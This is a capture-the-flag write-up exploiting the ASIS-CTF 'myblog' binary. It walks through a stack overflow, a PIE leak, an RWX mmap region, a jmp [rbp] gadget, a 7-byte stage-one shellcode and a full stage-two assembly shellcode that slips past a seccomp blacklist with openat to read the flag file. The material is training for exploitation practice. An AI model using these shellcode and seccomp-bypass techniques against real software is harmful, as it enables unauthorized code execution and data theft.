For this challenge from ASIS-CTF, we have a remote ELF64 binary to exploit with almost all protections except SSP. This challenge have a menu asking different things like writing blog post, deleting them or showing the blog owner :

But the interesting function is hidden, and if we disassemble the binary with IDA-pro, we see that a special function can be called with "31337" from the menu. This function will call the read function with a size of 0x18, but only 0x10 bytes are allocated for the frame : we can trigger a stack-based overflow of 16 bytes.

One more interesting thing for this function : at the begining a function pointer is leaked, which break the PIE. But before returning, the function do different checks and do not allow us to have address between base and base + 0xFFF.

Now what can we do ?

If we go deeper, we can see an other interesting function called during the initialisation process. This function call mmap() with all protections (RWX), and allocate two memory pages. As you can see on the disassembly, the returned pointer is stored into .bss.

But can we control anything in this RWX memory zone ? The answer is yes. The third option in the menu allow us to write 7 bytes into this memory zone as you can see in this screen :

Now, we need two things : a 7 bytes shellcode and a gadget for calling the mmaped pointer. The second is easy to find with rop-tool :

$ rop-tool g ./myblog
...
0x0000000000001893 -> jmp qword ptr [rbp];
...

By luck, we fully control the rbp pointer at the end of the vulnerable function (the saved-rbp is overwriten). Because of the very short shellcode size, I choosed to use the sys_read syscall for receiving a longer one at the same place. Here is my 7 bytes shellcode with the register settings at the end of the vulnerable function :

    section .text
    global _start
_start:
    ; EBX = 0
    ; RBP = base + mmap_ptr
    ; RDI = 0
    ; RDX = 0x7f....
    xchg eax, ebx
    mov rsi, [rbp]
    syscall

This shellcode will receive data from stdin into the mmaped memory, and we can now send a more sophisticated one.

But we have a problem : at the beginning, seccomp is used and some syscalls are blacklisted. We can use seccomp-tools to see what syscalls cannot be called. And we get :

$ seccomp-tools dump ./myblog
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x05 0x00 0x00000002  if (A == open) goto 0010
 0005: 0x15 0x04 0x00 0x0000003b  if (A == execve) goto 0010
 0006: 0x15 0x03 0x00 0x00000039  if (A == fork) goto 0010
 0007: 0x15 0x02 0x00 0x0000003a  if (A == vfork) goto 0010
 0008: 0x15 0x01 0x00 0x00000038  if (A == clone) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

We see that open, execve, fork, vfork and clone are forbidden. So, how can we read the flag ? To perform that, we can use the syscall sys_openat with an absolute path : the first parameter (directory fd) will be ignored and the file will be opened. By luck, we learned the absolute path to the flag (/home/pwn/flag) from an another challenge.

We now have everything to build our second shellcode :

    section .text
    global _start
_start:
    ;; openat()
    mov rbx, qword[rbp]
    add rbx, 0x1000
    mov qword[rbx], '/hom'
    mov qword[rbx+4], 'e/pw'
    mov qword[rbx+8], 'n/fl'
    mov qword[rbx+12], 'ag'
    mov qword[rbx+14], 0
    mov rax, 257
    mov rdi, 0
    mov rsi, rbx
    mov rdx, 0
    mov r10, 0
    syscall

    mov r10, rax

    ;; read()
    mov rax, 0
    mov rdi, r10
    mov rsi, rbx
    mov rdx, 0x40
    syscall

    ;; write()
    mov rax, 1
    mov rdi, 1
    mov rsi, rbx
    mov rdx, 0x40
    syscall

When the shellcode is executed, the flag is sent on stdout !